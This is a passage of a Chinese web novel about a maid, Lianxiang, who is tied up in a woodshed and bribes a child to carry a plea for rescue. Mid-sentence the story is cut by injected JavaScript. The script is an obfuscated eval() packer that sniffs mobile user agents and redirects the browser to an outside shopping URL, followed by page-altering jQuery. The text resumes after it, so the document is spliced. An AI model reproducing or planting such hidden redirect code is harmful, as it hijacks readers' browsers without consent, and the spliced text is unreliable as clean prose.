胜菊听罢忙不迭跑去找两个婆子,吩咐毕又跑来对春芳说:“事已至此,姑娘需得赶快给舅爷传个话儿,要他尽早备下酒宴才是。”
春芳因嘱咐道:“正是,她既然不愿意,只怕到时候嚷起来不好看相。此事需得瞒过众人,两日后,我派人趁夜偷偷将她送出府,你去告诉哥哥,要他雇一抬轿子在后门等着我……”如此如此,这般这般把话交代胜菊。
且不言主仆二人如何商议。却说怜香这头被两个婆子用布条堵住嘴巴,又拿索子捆住扔进柴房中,二人任其躺在地上,将门关上落锁后就走了。
她挣扎半天才坐了起来,脸上肿得老高,疼得似斧劈过一般,口中呜呜咽咽说不出话,腮边两行清泪不住地流。她向后挪动,靠在柴垛上,此刻是腹中又饿,心上又苦,思忖道:“我为保下这性命,就答应了那婚事又如何,何必这样梗着?”一面这样想,一面又忍不住宽慰自己:“这边是虎穴,又岂知那边不是狼窝?”
她动了动身子,眼神发直望着前方,暗道:“昨儿是我想错了,怎能轻言要舍了自己性命去?先前被赵有利那厮劫持,我仍想护着自己的命,以后万不可这样轻贱自己了。她既然想要我死,那我偏要撑下去,另寻法子求生才是。”
怜香昨天一夜未睡折腾到现在,现下已是心神恍惚,只见她迷迷瞪瞪靠着柴垛睡着了。也不知道睡了多久,饥饿难忍醒来时见四周都已暗了下来,唯从窗户那漏进几缕月光。她手脚俱已麻木,想起春芳说将她卖往娼门的话,心中更是燥了起来。
休息了片时,手脚回暖已是能动了,她挣扎着想挣脱手腕上的索子,忽然听见门“吱嘎”一声被打开,怜香赶忙停止挣扎,静静地躺在地上。她虽背对着门,耳朵却竖得高高地听,脚步声朝她这边走过来了,有人小声喊道:“怜香,怜香,醒醒。”
她一听是明琴的声音,忙侧脸看过去,呜呜扭动着。
明琴见她已是醒了,从怀里掏出一包帕子打开后说道:“午间听闻你被姑娘关起来,白日人多也不敢来看你,只好趁着这会儿夜了悄摸给你送些吃食来,你别嫌少,这是我从自己饭食里扣下来的。”说着扯走怜香嘴里的布条,将吃食送去。
只见怜香狼吞虎咽起来,不一会儿,一个馒头和些糕点就被吃尽,明琴又从手边拿壶给她灌了几口水。
事毕,怜香见她到来,犹如抓住救命稻草般连声求道:“明琴,明琴,现在夜正黑,没人看见,求你偷偷放了我罢……”
明琴闻言吓一大跳,忙打断道:“你别求我呀,此次我来是为报你前番恩情,已是冒了天大的险。若是被春芳姑娘知道,我的小命也不保,你自己撑住,我这便要走了。”说着,急忙将东西往怀里收。
怜香也知这事有些强人所难,她记着自己那点情已是难得,且不说即使出了这门也没处躲,就说明儿早晨春芳要是发现自己不在,查下去,明琴怎么脱得了干系?心内想了又想,再不好开口提那些话,只好小声求道:“明琴,好歹替我松松绑罢,那婆子将我捆得太紧,几乎把我勒死过去。”
明琴蹑手蹑脚朝外张望了一番,见没人往来,便来至怜香身边蹲下,也不敢下了索子,只松松的捆住怜香的手,又把布条塞回她嘴里,就匆匆出去了。
怜香仍躺回地上,这次因索子捆得松,略挣扎一番就将手挣脱出来,她取下嘴中的布条,来到门口扯了扯门,从缝中见门被一把大锁锁住了;又来至窗边往外看去,见屋宇藏在黑暗中,隐隐能望见前院屋檐下挂着的红纱灯笼,万籁俱静,只有斜斜的几缕月光把她照亮,她心中止不住的发苦,低头间就坠下泪来。
她虽生在乡野,却也是爹疼娘爱娇养长大的。只是时乖运蹇,先是失散了爹娘,后自己被卖,成了奴才,在这府中无依无靠。好容易遇着喜儿,似见了家人一般,本想赎了她来,自己熬几年再想办法求恩典赎身出去一同过活。如今自己自身难保,喜儿之事只怕要失约了。
她慢慢蹲下去,抱着膝盖,缩成一团坐在墙角处,一直想了许多,想到前世是孤儿的自己吃百家饭都要活下去,想起今生还没访得到爹娘的一丝消息,怎能如此消沉?
这般想着,末后心中方又慢慢振作起来,不免细细思量道:“我若要求救,丹翠那边,她既已说了那些话,只怕是不会管我。现下与我有些交情的就是姑姥太太房中的玉婵,我还该她三两银子,不知她会不会看在银子份上替我去姑老太太面前说情。再就是宛姨娘房中的吉芳和梨蕊,与我有过几次交集。宛姨娘既然能记我那一点寻耳坠的功,想是心善之人,不知向她求救胜算几成?”
一边又想着:“且不说向她们求救这事,只问谁能替我去传话呢?”想到此处,慌忙往身上各处摸,居然摸出几十个铜钱,和之前丹翠赏的只银镯子。这是丹翠唯一赏的首饰,自己爱惜,本想放进匣子里去,又怕被人偷取,便悄悄放在衣裳中。要不是今早随意取中这件衣裳,这镯子早被自己忘了。
怜香手中握着这些东西,心下暗忖:“明早趁人少时,看能不能买通谁去替我跑腿送信救我性命,最好是找年纪小些的小丫头,要得少些。我这点钱也不知道愿不愿意替我跑两趟?”
就这样想着,怜香仍靠着墙壁闭目养神。待天微亮,府中众人还在睡梦中时,厨房各处的人早已先动起来,各类新鲜时蔬,鱼肉已由后门送到厨房去了。
怜香一直靠在墙边未睡,听到外头有脚步声朝柴房走来,然后是开锁,推门的声音,接着有人“啊”一声被吓了一跳,磕磕巴巴说:“你,你披头散发的吓死我了。”
她装作刚被吵醒的模样,睁眼见是一个总角小童。
那小童见怜香一会儿盯着自己,一会儿盯着门看,忍不住警告她:“你别看我个头小就认为可以跑出去,我告诉你,外头都是人看着,你跑不脱。我现在开门也是为了搬柴禾要做饭去的。”
怜香见小童主动搭上话,才开口问道:“你知道我是谁?”
小童道:“嗐,谁不知道你是得罪了春芳姑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543698|204027||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娘才被关进来啊。要我说你们这些人也是够矫情,有恁好的命怎么就不珍惜。这春芳姑娘在府中何等得宠,你嫁到她娘家去,吃喝都短不了你的。”说着,小童已搬了一捆柴靠在门外。
只见她走进来又说道:“什么都不用操心,我怎么没恁好命?天天干些粗活,钱也没有几个。”
怜香听罢,往小童身旁丢了几枚铜钱。小童疑惑看向怜香不知她是何意,问道:“这是做甚?”
怜香便小声说:“这几个钱是给你的,你离近些,我这还有。”
小童闻言放下手中的柴,笑嘻嘻捡地上的铜钱,然后小步靠上来,笑道:“谢谢姐姐,你们这些在主子身边伺候的,果然大方些。”
怜香从怀中取出银镯和剩下的铜钱,那小童伸手要去拿,怜香一把攥紧了说道:“帮我个忙,这些全给你。”
小童机警的看向怜香,问道:“什么忙?”
怜香低声道:“一来,你替我去暖春堂找玉婵,就说姚怜香求救,求她在姑老太太面前求求情,救我出去。二来,去宛姨娘的小别院里,给吉芳传句话儿,求了姨奶奶救我一救。”
小童连声拒绝,说道:“你还是好生待着罢,我可不敢得罪春芳姑娘。”说完回身关门落了锁,只抱着门外的那捆柴走了。
怜香有些气馁,不断思考还有什么法子自救。约莫隔了一刻钟时间,那小童又开门进来了,说道:“我可以替你去跑腿,但只跑一次,你自己决定好去哪里求救罢。”
怜香自然想着多跑一个地方多一份希望,与小童商量道:“我这银镯子也值一些钱,只跑一次我岂不是太亏了?”
小童无奈道:“哎呀,我的姐哟。你还不知道那春芳姑娘的脾气么?惯不把我们奴才当人的,我这次帮你也是把性命都担上了,你还为难我,我一走可再没人能帮你啦。”
怜香当下思来想去,还是觉得求玉婵靠得稳些,于是交代小童去往暖春堂。那小童把银镯和钱一并塞到怀里,又从房里抱了一捆柴出去,正要落锁,怜香不放心跑到门口与小童嘱咐道:“你拿了我的钱,千万帮我办成了这事。”
小童低声回道:“放心,放心。”于是抱着柴一溜烟跑了。
且说小童抱着柴回去,被厨房管灶的董婶子瞧见了,只听她一径朝小童骂道:“沈三妹,你个养不熟的泼皮种,只知道偷懒。一早上两捆柴分两次搬。我柴用尽火看着要熄了,这灶上炖的燕窝是给春芳姑娘屋的,她要知道你如此懒怠,少不得扒了你的皮。”
有看不惯董婶子巴结春芳那模样的老婶替沈三妹辩道:“你骂她怎的这么难听?她个头小,一次抱一捆也不碍着你,偏你事事喜欢拿春芳姑娘出来压人。”
董婶子回嘴道:“春芳姑娘屋里的我自然上心些,你别狂,你说这些话我若一字一句告诉她,自然有你好果子吃。”
那老婶见她要告黑状,只得忍气吞声,招呼沈三妹道:“三妹你来,帮我把这尾鱼宰了洗净,云姨娘说今天要吃鱼。”